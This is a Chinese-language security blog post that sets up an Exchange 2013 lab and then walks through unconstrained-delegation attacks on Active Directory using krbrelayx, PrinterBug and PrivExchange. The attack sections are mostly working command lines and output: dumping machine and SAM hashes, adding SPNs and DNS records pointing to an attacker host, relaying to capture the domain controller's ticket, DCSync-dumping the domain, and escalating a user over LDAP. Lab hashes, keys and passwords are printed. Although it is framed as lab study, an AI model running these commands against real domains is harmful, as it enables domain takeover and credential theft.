域安全|非约束委派攻击 & Exchange 2013的安装

作者: 0xYyy
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

写在前面

此文章其实可以分为两篇,只不过为了让大家更好的在本地测试的情况下,堪称保姆级别指导来安装exchange 2013(为了除printbug方法外)利用PrivExchange 方法在域内进行横向移动or攻击域控。

为了在本地完美复现国外安全研究员Dirk-jan Mollema博客中的 "Relaying" Kerberos - Having fun with unconstrained delegation一文。在安装exchange 2013过程中遇到了大大小小的问题和错误,最后在团队Nolan师傅的帮助下解决,并且复现成功(熬了一周的夜QAQ)。

在这里要非常感谢Nolan师傅,在他还在出差的情况下熬夜帮我处理问题的细节,非常感谢他给予的帮助。

此文章主要是利用域内攻击手法的非约束委派攻击,当前咨询了很多红队师傅在域环境下都普遍利用RBCD方法来进行委派攻击,但这种方法也能举一反三来利用NTLM Relay中(触发从printbug变成了exchange而已,甚至只要是websrv都行)进行横向,攻击域控等。

这篇文章,主要目录架构大致分为2块:

(1)安装exchange

(2)非约束委派攻击两种域外通过代理进行攻击的方法



而这其实有第三种方法,只是处于文件落地的原因,我放弃写在里面(其实笔记都写好了,没发而已嘻嘻)。

场景环境:师傅们拿下内网一台跳板主机且这台主机属于域环境,只有一个普通域成员账号,而去利用这个账号的委派权限+PrintBug & exchange & PetitPotam (PetitPotam触发票据脚本方法我没写进入,各位师傅可以在本地进行测试)进行横向攻击。

0x00 快速安装


#添加本地管理员
net localgroup administrators 0x /add

#1、安装Remote Tools Administration Pack
Install-WindowsFeature RSAT-ADDS

#2、准备架构
setup /IAcceptExchangeServerLicenseTerms /PrepareSchema

#3、准备域
setup /IAcceptExchangeServerLicenseTerms /PrepareAD /OrganizationName:god

#4、powershell安装Windows组件
Install-WindowsFeature AS-HTTP-Activation, Desktop-Experience, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation

#5、安装(1)、(2)必备环境
#6、域管身份CMD终端安装Setup.exe

0x01 准备域阶段

注意⚠️:cmd&powershell均需要域管身份权限打开执行命令

1、安装Remote Tools Administration Pack

Install-WindowsFeature RSAT-ADDS

在这里插入图片描述
2、准备架构
E盘为加载镜像的盘符,在这个盘符下执行命令行


setup /IAcceptExchangeServerLicenseTerms /PrepareSchema

在这里插入图片描述
3、准备域
准备域和安装、加入域是两个不同的概念,这个也是自己安装之初不明白的,准备域是为了Exchange安装提供先决条件,而非加入域环境。

setup /IAcceptExchangeServerLicenseTerms /PrepareAD /OrganizationName:god

在这里插入图片描述

4、确认准备架构是否成功(可不用确认)
在ADSI编辑器(管理工具,或 ADSIEDIT.msc)连接到架构,在架构里面找到“CN=ms-Exch-Schema-Verision-Pt”属性页面中,如果rangeUpper值记录了当前架构的版本号,如果是15137,说明架构更新OK了!下图为确认过程。

打开ADSI编辑器,连接到
在这里插入图片描述
在架构中,找寻“CN=ms-Exch-Schema-Verision-Pt”,中部偏下位置,如下图,右键属性;
在这里插入图片描述
5、确认准备域
在ADSI编辑器配置找到“CN=Services”节点,找到“CN=Microsoft Exchange”,找到“CN=LinyuOrganization”(之前我们所输入的<组织名称>)属性页面中,如果objectVersion属性中,如果值为15449,说明准备域没有问题了!

连接架构,选择配置。。。
在这里插入图片描述
右键god属性->objectVersion->15149备域成功
在这里插入图片描述

0x02 安装必备软件

1、powershell安装Windows组件


Install-WindowsFeature AS-HTTP-Activation, Desktop-Experience, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation

在这里插入图片描述
重启
2、安装必备软件
按照以下顺序安装:

(1)Microsoft Unified Communications Managed API 4.0, Core Runtime 64-bit

https://www.microsoft.com/zh-CN/download/details.aspx?id=34992
在这里插入图片描述
(2)Microsoft Office 2010 Filter Pack 64 位

https://www.microsoft.com/zh-CN/download/details.aspx?id=17062
在这里插入图片描述
(3)Microsoft Office 2010 Fil ter Pack SP1 64 位 (可不用安装)

https://www.microsoft.com/en-us/download/details.aspx?id=17062

Microsoft Office 2010 Filter Pack SP1 64 位

0x03 打开安装向导

以管理员运行

1、检查更新,选择不更新
在这里插入图片描述
2、不修复,下一步
在这里插入图片描述
3、全选,下一步
在这里插入图片描述
在这里插入图片描述
7、选择安装
在这里插入图片描述

Error:
You must be a member of the 'Organization Management' role group or a member of the 'Enterprise Admins' group to continue.
For more information, visit: http://technet.microsoft.com/library(EXCHG.150)/ms.exch.setupreadiness.GlobalServerInstall.aspx

Error:
You must use an account that's a member of the Organization Management role group to install or upgrade the first Mailbox server role in the topology.
For more information, visit: http://technet.microsoft.com/library(EXCHG.150)/ms.exch.setupreadiness.DelegatedBridgeheadFirstInstall.aspx

Error:
You must use an account that's a member of the Organization Management role group to install the first Client Access server role in the topology.
For more information, visit: http://technet.microsoft.com/library(EXCHG.150)/ms.exch.setupreadiness.DelegatedCafeFirstInstall.aspx

Error:
You must use an account that's a member of the Organization Management role group to install the first Client Access server role in the topology.
For more information, visit: http://technet.microsoft.com/library(EXCHG.150)/ms.exch.setupreadiness.DelegatedFrontendTransportFirstInstall.aspx

Error:
You must use an account that's a member of the Organization Management role group to install or upgrade the first Mailbox server role in the topology.
For more information, visit: http://technet.microsoft.com/library(EXCHG.150)/ms.exch.setupreadiness.DelegatedMailboxFirstInstall.aspx

Error:
You must use an account that's a member of the Organization Management role group to install or upgrade the first Client Access server role in the topology.
For more information, visit: http://technet.microsoft.com/library(EXCHG.150)/ms.exch.setupreadiness.DelegatedClientAccessFirstInstall.aspx

Error:
You must use an account that's a member of the Organization Management role group to install the first Mailbox server role in the topology.
For more information, visit: http://technet.microsoft.com/library(EXCHG.150)/ms.exch.setupreadiness.DelegatedUnifiedMessagingFirstInstall.aspx

Warning:
This computer requires the Microsoft Office 2010 Filter Packs - Version 2.0 - Service Pack 1. Please install the software from http://go.microsoft.com/fwlink/?LinkId=262358.
For more information, visit: http://technet.microsoft.com/library(EXCHG.150)/ms.exch.setupreadiness.MSFilterPackV2SP1NotInstalled.aspx

解决办法

8、在终端以域管运行Setup.EXE
在这里插入图片描述
9、安装14步
在这里插入图片描述
10、安装完成
在这里插入图片描述

0x04 测试Exchange

1、进入Exchange管理中心

#地址
https://localhost/ecp

在这里插入图片描述
2、试用管理员账号,登陆管理中心页面
在这里插入图片描述
3、Outlook Web App页面


#地址
https://localhost/owa

4、管理员登陆OWA页面
在这里插入图片描述
5、添加账号,首先添加AD账号
打开AD用户和计算机,添加AD账号。
在这里插入图片描述
6、进入Exchange管理中心添加用户
弹出用户邮箱,点击浏览找到AD账号,确定,即可添加。
在这里插入图片描述
7、管理员发送测试邮件给0x用户
8、0x查看邮件
在这里插入图片描述

0x05 安装Exchange CA证书(DC)

1、DC上搭建CA证书服务
在这里插入图片描述
2、选择角色服务
在这里插入图片描述
3、配置目标服务器上的AD证书服务
在这里插入图片描述
4、下一步
在这里插入图片描述
5、勾选配置
在这里插入图片描述
6、企业CA->根CA
在这里插入图片描述
在这里插入图片描述
剩下一路默认

证书数据库:C:\Windows\system32\CertLog
在这里插入图片描述
在DC和EX上强制刷新组策略。确认新的根证书颁发机构已经存在于服务器的受信任根证书颁发机构中。


gpupdate/force

7、创建证书申请文件


https://10.10.10.20/ecp/

证书友好名称,只是名称而已
在这里插入图片描述
8、证书存储位置
不请求通配符,下一步

默认存储位置,下一步
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
10、证书申请
访问 http://10.10.10.10/certsrv
在这里插入图片描述
高级证书申请
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
11、完成证书申请
在这里插入图片描述
在这里插入图片描述
12、双击证书文件,分配服务
在这里插入图片描述
13、删除自带签名证书
14、访问https


https://win2012.god.com/ecp/
https://win2012.god.com/owa/

0x06 委派

域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。

服务账号Service Account,域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。

1、只有服务或者计算机才能设置非约束委派;

2、当域用户登录具有非约束委派权限的计算机后,票据会保存在对应的计算机上,从而可以导出缓存票据使用;

3、有域计算机的权限后直接导出,查看当前有哪些票据,这个直接用qs的-q就行(不用非得挨个去找有非约束委派权限的计算机,因为找到了还要上去提权才能导出票据,再看有哪些权限的票据。)。

委派攻击主要是围绕三种委派类型来实现:

(1)2003之前无约束委派

(2)2003之后出现的约束委派

(3)2012之后推出的基于资源的约束委派

0x07 信息收集

内网查找具有非约束委派权限的机器用户&服务用户。
注意:域控默认设置为非约束委派

1、PowerView.ps1方式


#查询机器用户
Import-Module .\PowerView.ps1
Get-DomainComputer -Unconstrained -Properties useraccountcontrol,dnshostname

在这里插入图片描述
2、ldapserch方式(查询委派权限)


#1、远程非域计算机上需要账号密码(有委派权限的域用户)
ldapsearch -x -H ldap://10.10.10.10:389 -D "CN=0x,CN=Users,DC=god,DC=com" -w 1qaz@WSX -b "DC=god,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

//参数
-x 简单认证
-w password
-H ldap url 域控ip
-D Domain user,Domain Name
-b basedn base dn for search
distinguishedName 可分辨名称

#2、远程非域计算机上需要账号密码(有委派权限的机器用户)
ldapsearch -x -H ldap://10.10.10.10:389 -D "CN=0x,CN=Users,DC=god,DC=com" -w 1qaz@WSX -b "DC=god,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

在这里插入图片描述
3、dsquery.exe方式


#1、远程非域计算机上需要账号密码
dsquery * -s 10.10.10.10 -u 0x -p 1qaz@WSX -filter "(&(userAccountControl:1.2.840.113556.1.4.803:=524288))"

#2、如果whoami是域用户,则可以不用账号密码
dsquery * -filter "(&(userAccountControl:1.2.840.113556.1.4.803:=524288))"

4、AdFind.exe方式

#1、远程非域计算机上需要账号密码
AdFind.exe -h 10.10.10.10 -u 0x -up 1qaz@WSX -f "(&(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn operatingSystem distinguishedName

#2、如果whoami是域用户,则可以不用账号密码
AdFind.exe -f "(&(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn operatingSystem distinguishedName

5、查找域中的委派关系

AdFind.exe -f "(&(msds-allowedtodelegateto=*))" cn distinguishedName msDS-AllowedToDelegateTo

dsquery * -filter "(&(msds-allowedtodelegateto=*))" -limit 0 -attr distinguishedName msDS-AllowedToDelegateTo

Tips:机器账号,需要域成员账号0x去认证域
在这里插入图片描述

0x08 本地实验

实验一:(域外攻击-利用PrintBug)

控制无约束委派的SPN属性(这里不使用无约束委派自身机器来,因为如果这样则需要使用猕猴桃或者Rubeus在机器的lsass中转储缓存hash。这样会在目标机器执行代码,减少一层与杀软对抗的经历,但是这样做流量就明显了,虽然减少了与杀软的对抗但是增加了与IDS的防护过程,所以有利有弊)。

必要条件:

(1)有无约束委派机器的权限(administrator权限导出hash);

(2)2012及以上的机器(我测试08没成功,不代表08没有);

(3)此计算机账户具有Validated-MS-DS-Additional-DNS-Host-Name权限 这里我server2012的普通域机器默认无此权限(更改DNS指向新SPN服务机器)(可以不用)。

项目地址:https://github.com/dirkjanm/krbrelayx
快速命令:

#1、导出机器用户hash
secretsdump.py god.com/0x:"1qaz@WSX"@10.10.10.20

#2、手动添加SPN
python3 addspn.py -u god.com\\win2012\$ -p aad3b435b51404eeaad3b435b51404ee:2ee6c6a1a7b38373f9279717db73066d -s host/wtf.god.com 10.10.10.10 --additional

#3、指向SPN
python3 dnstool.py -u god.com\\win2012\$ -p aad3b435b51404eeaad3b435b51404ee:2ee6c6a1a7b38373f9279717db73066d -r wtf.god.com -d 10.10.10.80 --action add 10.10.10.10

#4、开启监听
python3 krbrelayx.py -aesKey 7c67c14fc42df9f0d421469ccab138f65c99138e22c23e1f6757bf40420e4458

#5、触发
python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:2ee6c6a1a7b38373f9279717db73066d god.com/win2012\$@10.10.10.10 wtf.god.com

#6、导入票据
export KRB5CCNAME=WIN-2016-DC\$@GOD.COM_krbtgt@GOD.COM.ccache

#7、导出DCsync
secretsdump.py -k win-2016-dc.god.com -just-dc

1、导出域内机器用户hash
先通过我们能控制的非约束委派的机器进行hash的导出(需被控机器本地管理员账户权限)

secretsdump.py god.com/0x:"1qaz@WSX"@10.10.10.20

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x707d64c0400ca43b3582a6996d078389
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
GOD.COM/0x:$DCC2$10240#0x#8b85112d88357deb262f9a945093bc4f
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
GOD\WIN2012$:aes256-cts-hmac-sha1-96:7c67c14fc42df9f0d421469ccab138f65c99138e22c23e1f6757bf40420e4458
GOD\WIN2012$:aes128-cts-hmac-sha1-96:0c9eef54faec82c31a16cf62fd8360f9
GOD\WIN2012$:des-cbc-md5:b3e39e85eaf2a1a7
GOD\WIN2012$:plain_password_hex:ff7270ce6bac4b92992e3fdf61a304cf99c29da2eb4fae5f104691451e25b544beb34071e9586d436b60c534541ab1bca63dcb1ebbd71891c0bd938e0163bf42d2001c0e5bc8ff0c4f7d2ad0be6e0e8ac85ec160fc62edadde75c846ede95b9a3be69d69b8b78fa7fcbcd1ebcb890fdc7e6e0f59eb5f92ec5c182fd71317fb15d375327c2d8486d1b14fe4283c645494fe7a98bb695da96e06df658e9a67aa3ff33439baba0a17be87680d9aa70533df15c82c9ef765a2dd12db97d278975c5ae932ad48eb369bddad41d40aa06463914c5fa6983bce606f6c6e5ffc9f0ece7f02b6d8a05487ae0348f4f8a0cac155dd
GOD\WIN2012$:aad3b435b51404eeaad3b435b51404ee:2ee6c6a1a7b38373f9279717db73066d:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xbec4ee7de11e2c86379bb5de58646dacfe50c9d8
dpapi_userkey:0x215d7444306d7a169f77fa88d9e9cdb6075c7d1c
[*] NL$KM
 0000   16 1A F3 D4 10 2E E9 1C  33 65 D1 84 B9 BA 32 EF   ........3e....2.
 0010   0A C2 B3 46 73 09 D8 54  20 C6 ED BC 4F 2D 66 42   ...Fs..T ...O-fB
 0020   77 F1 20 40 D9 FD 49 61  F9 38 F2 BF 98 AF 4A 87   w. @..Ia.8....J.
 0030   22 F6 34 E7 78 AE A0 73  E9 41 06 00 51 3C A6 C3   ".4.x..s.A..Q<..
NL$KM:161af3d4102ee91c3365d184b9ba32ef0ac2b3467309d85420c6edbc4f2d664277f12040d9fd4961f938f2bf98af4a8722f634e778aea073e9410600513ca6c3
[*] Cleaning up...
[*] Stopping service RemoteRegistry

在这里插入图片描述
2、手动添加SPN
这里通过https://twitter.com/_dirkjan的工具 用于server通过kerberos验证后获取到的在aq_rep过程中获取到的tgt来访问atter的smb服务从而我们通过监听atter抓到此tgt并且导出。


python3 addspn.py -u god.com\\win2012\$ -p aad3b435b51404eeaad3b435b51404ee:2ee6c6a1a7b38373f9279717db73066d -s host/wtf.god.com 10.10.10.10 --additional

//
-u  domain name
-p  机器账户NTLM hash
-s  add spn(必须使用host)
10.....  dc ip

//添加的SPN  testt.god.com

在这里插入图片描述
3、指向SPN(必须指向域名)
现在SPN已经指向了testt,但是dns并不能解析testt.god.com,事实证明,Validated-MS-DS-Additional-DNS-Host-Name实际上不需要经过验证的写入权限即可更新该msDS-AdditionalDnsHostName属性。

默认情况下,为计算机对象启用的“验证的DNS主机名写入”功能还允许我们写入该msDS-AdditionalDnsHostName属性,并允许我们将当前域内的任何主机名分配给计算机对象,然后SPN将为此计算机对象自动添加。

python3 dnstool.py -u god.com\\win2012\$ -p aad3b435b51404eeaad3b435b51404ee:2ee6c6a1a7b38373f9279717db73066d -r wtf.god.com -d 10.10.10.80 --action add 10.10.10.10

-d  当前公网攻击机ip
-p  机器账户hash
-r  指向攻击机SPN名
add dc ip

在这里插入图片描述
4、krbrelayx.py开启监听
以krbrelayx以导出模式启动,并且使域控通过打印机错误对我们进行身份验证。


python3 krbrelayx.py -aesKey 7c67c14fc42df9f0d421469ccab138f65c99138e22c23e1f6757bf40420e4458

//aes256

5、获取内存的票据
printerbug.py触发打印机bug获取凭证


python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:2ee6c6a1a7b38373f9279717db73066d god.com/win2012\$@10.10.10.10 wtf.god.com

//win-2016-dc.god.com换成IP无影响
注意:最后的SPN必须域名

在这里插入图片描述
接收到验证并获取到票据
在这里插入图片描述
在这里插入图片描述
6、导入票据到攻击机&导出hash

export KRB5CCNAME=WIN-2016-DC\$@GOD.COM_krbtgt@GOD.COM.ccache

#导出DCsync
secretsdump.py -k win-2016-dc.god.com -just-dc

在这里插入图片描述

实验二:(域外攻击-PrivExchange)

滥用服务帐户和PrivExchange

1、前提条件:

(1)用户账号密码(这里通过数据库密码喷射得到)

(2)对服务的委派控制权限。

拿下域内机器后,域账户0x/1qaz@WSX创建(认证激活域机器且安装了例如SQLserver、cifs等)服务账户mssqler/123456.com。

假设我们可以控制的 0x 用户已委派了在Service AccountsOU中管理用户的权限。

还发现该服务帐户mssqler设置了弱密码123456.com。

此服务帐户仅在上运行MSSQL服务的SPN:MSSQL/database.god.com,由于我们希望通过Exchange通过PrivExchange升级特权,而PrivExchange通过HTTP连接,因此我们使用此帐户添加一个新的SPN http/pmm.god.com。

2、服务账号&主机账号:

在域中,只有"服务账号"和"主机账号"才具有委派属性。

主机账号就是AD活动目录中 Computers 中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。

服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。

//不可取?
powershell
net user mssqler 123456.com /add /domain
setspn -U -A MSSQL/database.god.com mssqler
setspn -L mssqler

在这里插入图片描述
项目地址:https://github.com/dirkjanm/PrivExchange
快速命令

#1、添加SPN
python3 addspn.py -u god\\0x -p 1qaz@WSX -t mssqler -s http/evil.god.com -q win-2016-dc.god.com

python3 addspn.py -u god\\0x -p 1qaz@WSX -t mssqler -s http/evil.god.com win-2016-dc.god.com

#2、DNS指向攻击IP
python3 dnstool.py -u god\\0x -p 1qaz@WSX -t mssqler -r evil.god.com -d 10.10.10.80 --action add win-2016-dc.god.com

#3、监听
sudo python krbrelayx.py -hashes aad3b435b51404eeaad3b435b51404ee:35b5a70f68f5ef895d52d15d8d84af6b -t ldap://win-2016-dc.god.com --escalate-user 0x

//35b5a70f68f5ef895d52d15d8d84af6b  mssqler的密码hash

#4、触发PrivExchange
python3 privexchange.py -u 0x -p 1qaz@WSX -ah evil.god.com win2012.god.com -d god.com

1、查询域内信息


#1、查询域内所有SPN
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach($result in $results) {
    $userEntry = $result.GetDirectoryEntry()
    Write-host "Object : " $userEntry.name "(" $userEntry.distinguishedName ")"
    Write-host "List SPN :"       
    foreach($SPN in $userEntry.servicePrincipalName)
    {
        Write-Host $SPN      
    }
    Write-host ""
}


#2、查询域内可用SPN
Usage: ShuiYing_0x727.exe <DC-IP> <DC> <domainname\username> <password> <nbpassword> <t_num>

ShuiYing_0x727.exe \\域控IP 域名 域名\域用户 域用户密码 本地administrator通用密码 多线程数目

#当前域用户权限
ShuiYing_0x727.exe \\10.10.10.10 win-2016-dc god\0x 1qaz@WSX 123456 1
ShuiYing_0x727.exe \\10.10.10.10 win-2016-dc god\win2012$ 1qaz@WSX 123456 1

2、添加新的SPN

python3 addspn.py -u god\\0x -p 1qaz@WSX -t mssqler -s http/pmm.god.com -q WIN-2016-dc.god.com

//
-t  服务账号

#?
python3 addspn.py -u god\\0x -p 1qaz@WSX -t mssqler -s http/evil.god.com win-2016-dc.god.com

在这里插入图片描述
3、DNS指向攻击IP

python3 dnstool.py -u god\\0x -p 1qaz@WSX -r pmm.god.com -d 10.10.10.80 --action add WIN-2016-dc.god.com

在这里插入图片描述
由于这里我们使用的是用户账户,因此默认情况下,票证将使用RC4进行加密,因此我们需要计算密码的NTLM哈希值才能对其进行解密(我们在这里无需费心Kerberos盐,因为RC4不会不使用)。可以用python也可以去cmd直接加密

import hashlib
print(hashlib.new('md4', '123456.com'.encode('utf-16le')).hexdigest())

35b5a70f68f5ef895d52d15d8d84af6b

4、启动监听krbrelayx.py

python3 krbrelayx.py -hashes aad3b435b51404eeaad3b435b51404ee:35b5a70f68f5ef895d52d15d8d84af6b -t ldap://win-2016-dc.god.com --escalate-user 0x

5、执行privexchange.py

python3 privexchange.py -u mssqler -p 123456.com -ah pmm.god.com win2012.god.com -d god.com

?
python3 privexchange.py -u 0x -p 1qaz@WSX -ah evil.god.com win2012.god.com -d god.com


//
-u  SPN user
-p  SPN  user pass
-ah [attack domain] [exchange]
-d  domain name

0x09 参考文章

https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/

https://www.cnblogs.com/-zhong/p/14459811.html

0x10 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

灼剑(Tsojan)安全团队

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值